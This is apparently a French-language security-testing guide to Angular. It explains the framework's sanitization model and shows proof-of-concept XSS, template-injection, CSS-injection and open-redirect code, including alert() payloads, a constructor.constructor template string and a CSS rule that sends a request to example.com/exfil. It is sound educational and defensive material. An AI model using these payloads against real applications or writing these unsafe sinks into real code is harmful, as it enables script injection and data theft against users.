Angular

Reading time: 20 minutes

La Liste de Vérification

Checklist from here.

  • Angular est considéré comme un framework côté client et n'est pas censé fournir de protection côté serveur
  • Le sourcemap pour les scripts est désactivé dans la configuration du projet
  • Les entrées utilisateur non fiables sont toujours interpolées ou assainies avant d'être utilisées dans les templates
  • L'utilisateur n'a aucun contrôle sur les templates côté serveur ou côté client
  • Les entrées utilisateur non fiables sont assainies en utilisant un contexte de sécurité approprié avant d'être considérées comme fiables par l'application
  • Les méthodes BypassSecurity* ne sont pas utilisées avec des entrées non fiables
  • Les entrées utilisateur non fiables ne sont pas passées aux classes Angular telles que ElementRef, Renderer2 et Document, ou à d'autres sinks JQuery/DOM

Qu'est-ce qu'Angular

Angular est un puissant et open-source framework front-end maintenu par Google. Il utilise TypeScript pour améliorer la lisibilité du code et le débogage. Avec de forts mécanismes de sécurité, Angular prévient les vulnérabilités courantes côté client comme XSS et redirections ouvertes. Il peut également être utilisé côté serveur, rendant les considérations de sécurité importantes des deux côtés.

Architecture du framework

Afin de mieux comprendre les bases d'Angular, passons en revue ses concepts essentiels.

Un projet Angular commun ressemble généralement à :

bash
my-workspace/
├── ... #workspace-wide configuration files
├── src
│   ├── app
│   │   ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│   │   ├── app.component.ts #defines the logic for the application's root component
│   │   ├── app.component.html #defines the HTML template associated with the root component
│   │   ├── app.component.css #defines the base CSS stylesheet for the root component
│   │   ├── app.component.spec.ts #defines a unit test for the root component
│   │   └── app-routing.module.ts #provides routing capability for the application
│   ├── lib
│   │   └── src #library-specific configuration files
│   ├── index.html #main HTML page, where the component will be rendered in
│   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

Selon la documentation, chaque application Angular a au moins un composant, le composant racine (AppComponent) qui connecte une hiérarchie de composants avec le DOM. Chaque composant définit une classe qui contient des données et une logique d'application, et est associée à un modèle HTML qui définit une vue à afficher dans un environnement cible. Le décorateur @Component() identifie la classe immédiatement en dessous comme un composant, et fournit le modèle et les métadonnées spécifiques au composant. Le AppComponent est défini dans le fichier app.component.ts.

Les NgModules Angular déclarent un contexte de compilation pour un ensemble de composants qui est dédié à un domaine d'application, un flux de travail, ou un ensemble de capacités étroitement liées. Chaque application Angular a un module racine, conventionnellement nommé AppModule, qui fournit le mécanisme de démarrage qui lance l'application. Une application contient généralement de nombreux modules fonctionnels. Le AppModule est défini dans le fichier app.module.ts.

Le NgModule Router d'Angular fournit un service qui vous permet de définir un chemin de navigation parmi les différents états d'application et hiérarchies de vues dans votre application. Le RouterModule est défini dans le fichier app-routing.module.ts.

Pour les données ou la logique qui ne sont pas associées à une vue spécifique, et que vous souhaitez partager entre les composants, vous créez une classe de service. Une définition de classe de service est immédiatement précédée du décorateur @Injectable(). Le décorateur fournit les métadonnées qui permettent à d'autres fournisseurs d'être injectés en tant que dépendances dans votre classe. L'injection de dépendance (DI) vous permet de garder vos classes de composants légères et efficaces. Elles ne récupèrent pas de données du serveur, ne valident pas les entrées utilisateur, ni ne se connectent directement à la console ; elles délèguent de telles tâches aux services.

Configuration de sourcemap

Le framework Angular traduit les fichiers TypeScript en code JavaScript en suivant les options de tsconfig.json et construit ensuite un projet avec la configuration angular.json. En regardant le fichier angular.json, nous avons observé une option pour activer ou désactiver un sourcemap. Selon la documentation Angular, la configuration par défaut a un fichier sourcemap activé pour les scripts et n'est pas caché par défaut :

json
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

Généralement, les fichiers sourcemap sont utilisés à des fins de débogage car ils associent les fichiers générés à leurs fichiers d'origine. Par conséquent, il n'est pas recommandé de les utiliser dans un environnement de production. Si les sourcemaps sont activés, cela améliore la lisibilité et aide à l'analyse des fichiers en reproduisant l'état d'origine du projet Angular. Cependant, s'ils sont désactivés, un examinateur peut toujours analyser manuellement un fichier JavaScript compilé en recherchant des motifs anti-sécurité.

De plus, un fichier JavaScript compilé avec un projet Angular peut être trouvé dans les outils de développement du navigateur → Sources (ou Débogueur et Sources) → [id].main.js. Selon les options activées, ce fichier peut contenir la ligne suivante à la fin //# sourceMappingURL=[id].main.js.map ou il peut ne pas l'avoir, si l'option cachée est définie sur true. Néanmoins, si le sourcemap est désactivé pour scripts, les tests deviennent plus complexes, et nous ne pouvons pas obtenir le fichier. De plus, le sourcemap peut être activé lors de la construction du projet comme ng build --source-map.

Liaison de données

La liaison fait référence au processus de communication entre un composant et sa vue correspondante. Elle est utilisée pour transférer des données vers et depuis le framework Angular. Les données peuvent être transmises par divers moyens, tels que par le biais d'événements, d'interpolation, de propriétés ou par le mécanisme de liaison bidirectionnelle. De plus, les données peuvent également être partagées entre des composants liés (relation parent-enfant) et entre deux composants non liés en utilisant la fonctionnalité Service.

Nous pouvons classer la liaison par flux de données :

  • Source de données vers cible de vue (inclut interpolation, propriétés, attributs, classes et styles); peut être appliqué en utilisant [] ou {{}} dans le modèle ;
  • Cible de vue vers source de données (inclut événements); peut être appliqué en utilisant () dans le modèle ;
  • Bidirectionnelle ; peut être appliqué en utilisant [()] dans le modèle.

La liaison peut être appelée sur des propriétés, des événements et des attributs, ainsi que sur tout membre public d'une directive source :

TYPECIBLEEXEMPLES
PropriétéPropriété d'élément, Propriété de composant, Propriété de directive<img [alt]="hero.name" [src]="heroImageUrl">
ÉvénementÉvénement d'élément, Événement de composant, Événement de directive<button type="button" (click)="onSave()">Sauvegarder
BidirectionnelleÉvénement et propriété<input [(ngModel)]="name">
AttributAttribut (l'exception)<button type="button" [attr.aria-label]="help">aide
Classepropriété de classe<div [class.special]="isSpecial">Spécial
Stylepropriété de style<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Modèle de sécurité Angular

La conception d'Angular inclut l'encodage ou la désinfection de toutes les données par défaut, rendant de plus en plus difficile la découverte et l'exploitation des vulnérabilités XSS dans les projets Angular. Il existe deux scénarios distincts pour le traitement des données :

  1. Interpolation ou {{user_input}} - effectue un encodage sensible au contexte et interprète l'entrée utilisateur comme du texte ;
jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

Résultat : &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. Liaison aux propriétés, attributs, classes et styles ou [attribute]="user_input" - effectue une désinfection basée sur le contexte de sécurité fourni.

jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

Résultat : <div><h1>test</h1></div>

Il existe 6 types de SecurityContext :

  • None;
  • HTML est utilisé, lors de l'interprétation de la valeur comme HTML ;
  • STYLE est utilisé, lors de la liaison CSS dans la propriété style ;
  • URL est utilisé pour les propriétés d'URL, telles que <a href> ;
  • SCRIPT est utilisé pour le code JavaScript ;
  • RESOURCE_URL comme une URL qui est chargée et exécutée comme code, par exemple, dans <script src>.

Vulnérabilités

Contournement des méthodes de confiance en sécurité

Angular introduit une liste de méthodes pour contourner son processus de désinfection par défaut et indiquer qu'une valeur peut être utilisée en toute sécurité dans un contexte spécifique, comme dans les cinq exemples suivants :

  1. bypassSecurityTrustUrl est utilisé pour indiquer que la valeur donnée est une URL de style sûre :
jsx
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Cliquez moi</a>

//résultat
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Cliquez moi</a>
  1. bypassSecurityTrustResourceUrl est utilisé pour indiquer que la valeur donnée est une URL de ressource sûre :
jsx
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//résultat
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtml est utilisé pour indiquer que la valeur donnée est un HTML sûr. Notez que l'insertion d'éléments script dans l'arbre DOM de cette manière ne les fera pas exécuter le code JavaScript contenu, en raison de la façon dont ces éléments sont ajoutés à l'arbre DOM.
jsx
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>tag html</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//résultat
<h1>tag html</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScript est utilisé pour indiquer que la valeur donnée est un JavaScript sûr. Cependant, nous avons trouvé son comportement imprévisible, car nous n'avons pas pu exécuter de code JS dans les modèles en utilisant cette méthode.
jsx
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//résultat
-
  1. bypassSecurityTrustStyle est utilisé pour indiquer que la valeur donnée est un CSS sûr. L'exemple suivant illustre l'injection CSS :
jsx
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//résultat
Request URL: GET example.com/exfil/a

Angular fournit une méthode sanitize pour désinfecter les données avant de les afficher dans les vues. Cette méthode utilise le contexte de sécurité fourni et nettoie l'entrée en conséquence. Il est cependant crucial d'utiliser le bon contexte de sécurité pour les données et le contexte spécifiques. Par exemple, appliquer un désinfectant avec SecurityContext.URL sur du contenu HTML ne protège pas contre les valeurs HTML dangereuses. Dans de tels scénarios, un mauvais usage du contexte de sécurité pourrait conduire à des vulnérabilités XSS.

Injection HTML

Cette vulnérabilité se produit lorsque l'entrée utilisateur est liée à l'une des trois propriétés : innerHTML, outerHTML, ou iframe srcdoc. Bien que la liaison à ces attributs interprète le HTML tel quel, l'entrée est désinfectée en utilisant SecurityContext.HTML. Ainsi, l'injection HTML est possible, mais le cross-site scripting (XSS) ne l'est pas.

Exemple d'utilisation de innerHTML :

jsx
//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

Injection de modèle

Rendu côté client (CSR)

Angular utilise des modèles pour construire des pages de manière dynamique. L'approche consiste à enfermer les expressions de modèle que Angular doit évaluer dans des accolades doubles ({{}}). De cette manière, le framework offre des fonctionnalités supplémentaires. Par exemple, un modèle tel que {{1+1}} s'afficherait comme 2.

En général, Angular échappe les entrées utilisateur qui peuvent être confondues avec des expressions de modèle (par exemple, des caractères tels que `< > ' " ``). Cela signifie que des étapes supplémentaires sont nécessaires pour contourner cette restriction, comme l'utilisation de fonctions qui génèrent des objets de chaîne JavaScript pour éviter d'utiliser des caractères sur liste noire. Cependant, pour y parvenir, nous devons prendre en compte le contexte Angular, ses propriétés et ses variables. Par conséquent, une attaque par injection de modèle peut apparaître comme suit :

jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

Comme indiqué ci-dessus : constructor fait référence à la portée de la propriété Object constructor, nous permettant d'invoquer le constructeur String et d'exécuter un code arbitraire.

Rendu côté serveur (SSR)

Contrairement à CSR, qui se produit dans le DOM du navigateur, Angular Universal est responsable du SSR des fichiers de modèle. Ces fichiers sont ensuite livrés à l'utilisateur. Malgré cette distinction, Angular Universal applique les mêmes mécanismes de désinfection utilisés dans CSR pour améliorer la sécurité du SSR. Une vulnérabilité d'injection de modèle dans le SSR peut être détectée de la même manière que dans le CSR, car le langage de modèle utilisé est le même.

Bien sûr, il existe également une possibilité d'introduire de nouvelles vulnérabilités d'injection de modèle lors de l'utilisation de moteurs de modèle tiers tels que Pug et Handlebars.

XSS

Interfaces DOM

Comme mentionné précédemment, nous pouvons accéder directement au DOM en utilisant l'interface Document. Si l'entrée de l'utilisateur n'est pas validée au préalable, cela peut entraîner des vulnérabilités de script intersite (XSS).

Nous avons utilisé les méthodes document.write() et document.createElement() dans les exemples ci-dessous :

jsx
//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Classes Angular

Il existe certaines classes qui peuvent être utilisées pour travailler avec des éléments DOM dans Angular : ElementRef, Renderer2, Location et Document. Une description détaillée des deux dernières classes est donnée dans la section Redirections ouvertes. La principale différence entre les deux premières est que l'API Renderer2 fournit une couche d'abstraction entre l'élément DOM et le code du composant, tandis que ElementRef ne conserve qu'une référence à l'élément. Par conséquent, selon la documentation Angular, l'API ElementRef ne doit être utilisée qu'en dernier recours lorsque l'accès direct au DOM est nécessaire.

  • ElementRef contient la propriété nativeElement, qui peut être utilisée pour manipuler les éléments DOM. Cependant, une utilisation incorrecte de nativeElement peut entraîner une vulnérabilité d'injection XSS, comme montré ci-dessous :
tsx
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • Bien que Renderer2 fournisse une API qui peut être utilisée en toute sécurité même lorsque l'accès direct aux éléments natifs n'est pas pris en charge, elle présente encore certaines failles de sécurité. Avec Renderer2, il est possible de définir des attributs sur un élément HTML en utilisant la méthode setAttribute(), qui n'a pas de mécanismes de prévention XSS.
tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
  • Pour définir la propriété d'un élément DOM, vous pouvez utiliser la méthode Renderer2.setProperty() et déclencher une attaque XSS :
tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>

Au cours de nos recherches, nous avons également examiné le comportement d'autres méthodes Renderer2, telles que setStyle(), createComment(), et setValue(), en relation avec les injections XSS et CSS. Cependant, nous n'avons pas pu trouver de vecteurs d'attaque valides pour ces méthodes en raison de leurs limitations fonctionnelles.

jQuery

jQuery est une bibliothèque JavaScript rapide, légère et riche en fonctionnalités qui peut être utilisée dans le projet Angular pour aider à manipuler les objets DOM HTML. Cependant, comme il est connu, les méthodes de cette bibliothèque peuvent être exploitées pour atteindre une vulnérabilité XSS. Afin de discuter de la manière dont certaines méthodes jQuery vulnérables peuvent être exploitées dans des projets Angular, nous avons ajouté cette sous-section.

  • La méthode html() obtient le contenu HTML du premier élément dans l'ensemble des éléments correspondants ou définit le contenu HTML de chaque élément correspondant. Cependant, par conception, tout constructeur ou méthode jQuery qui accepte une chaîne HTML peut potentiellement exécuter du code. Cela peut se produire par injection de balises <script> ou utilisation d'attributs HTML qui exécutent du code comme montré dans l'exemple.
tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
  • La méthode jQuery.parseHTML() utilise des méthodes natives pour convertir la chaîne en un ensemble de nœuds DOM, qui peuvent ensuite être insérés dans le document.
tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])

Comme mentionné précédemment, la plupart des API jQuery qui acceptent des chaînes HTML exécuteront des scripts inclus dans le HTML. La méthode jQuery.parseHTML() n'exécute pas de scripts dans le HTML analysé à moins que keepScripts ne soit explicitement true. Cependant, il est toujours possible dans la plupart des environnements d'exécuter des scripts indirectement ; par exemple, via l'attribut <img onerror>.

tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>

Redirections ouvertes

Interfaces DOM

Selon la documentation W3C, les objets window.location et document.location sont traités comme des alias dans les navigateurs modernes. C'est pourquoi ils ont une mise en œuvre similaire de certaines méthodes et propriétés, ce qui pourrait provoquer une redirection ouverte et une XSS DOM avec des attaques au schéma javascript:// comme mentionné ci-dessous.

  • window.location.href(et document.location.href)

La manière canonique d'obtenir l'objet de localisation DOM actuel est d'utiliser window.location. Il peut également être utilisé pour rediriger le navigateur vers une nouvelle page. En conséquence, avoir le contrôle sur cet objet nous permet d'exploiter une vulnérabilité de redirection ouverte.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>

Le processus d'exploitation est identique pour les scénarios suivants.

  • window.location.assign()(et document.location.assign())

Cette méthode fait en sorte que la fenêtre charge et affiche le document à l'URL spécifiée. Si nous avons le contrôle sur cette méthode, cela pourrait être une cible pour une attaque de redirection ouverte.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
  • window.location.replace()(et document.location.replace())

Cette méthode remplace la ressource actuelle par celle à l'URL fournie.

Cela diffère de la méthode assign() en ce sens qu'après avoir utilisé window.location.replace(), la page actuelle ne sera pas enregistrée dans l'historique de session. Cependant, il est également possible d'exploiter une vulnérabilité de redirection ouverte lorsque nous avons le contrôle sur cette méthode.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
  • window.open()

La méthode window.open() prend une URL et charge la ressource qu'elle identifie dans un nouvel onglet ou une nouvelle fenêtre existante. Avoir le contrôle sur cette méthode pourrait également être une opportunité de déclencher une vulnérabilité XSS ou de redirection ouverte.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Classes Angular

  • Selon la documentation Angular, Document Angular est le même que le document DOM, ce qui signifie qu'il est possible d'utiliser des vecteurs communs pour le document DOM afin d'exploiter des vulnérabilités côté client dans Angular. Les propriétés et méthodes Document.location pourraient être des cibles pour des attaques de redirection ouverte réussies comme montré dans l'exemple :
tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
  • Au cours de la phase de recherche, nous avons également examiné la classe Location d'Angular pour des vulnérabilités de redirection ouverte, mais aucun vecteur valide n'a été trouvé. Location est un service Angular que les applications peuvent utiliser pour interagir avec l'URL actuelle du navigateur. Ce service a plusieurs méthodes pour manipuler l'URL donnée - go(), replaceState(), et prepareExternalUrl(). Cependant, nous ne pouvons pas les utiliser pour rediriger vers un domaine externe. Par exemple :
tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

Résultat : http://localhost:4200/http://google.com/about

  • La classe Router d'Angular est principalement utilisée pour naviguer au sein du même domaine et n'introduit aucune vulnérabilité supplémentaire dans l'application :
jsx
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

Résultat : http://localhost:4200/https:

Les méthodes suivantes naviguent également dans le cadre du domaine :

jsx
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

Références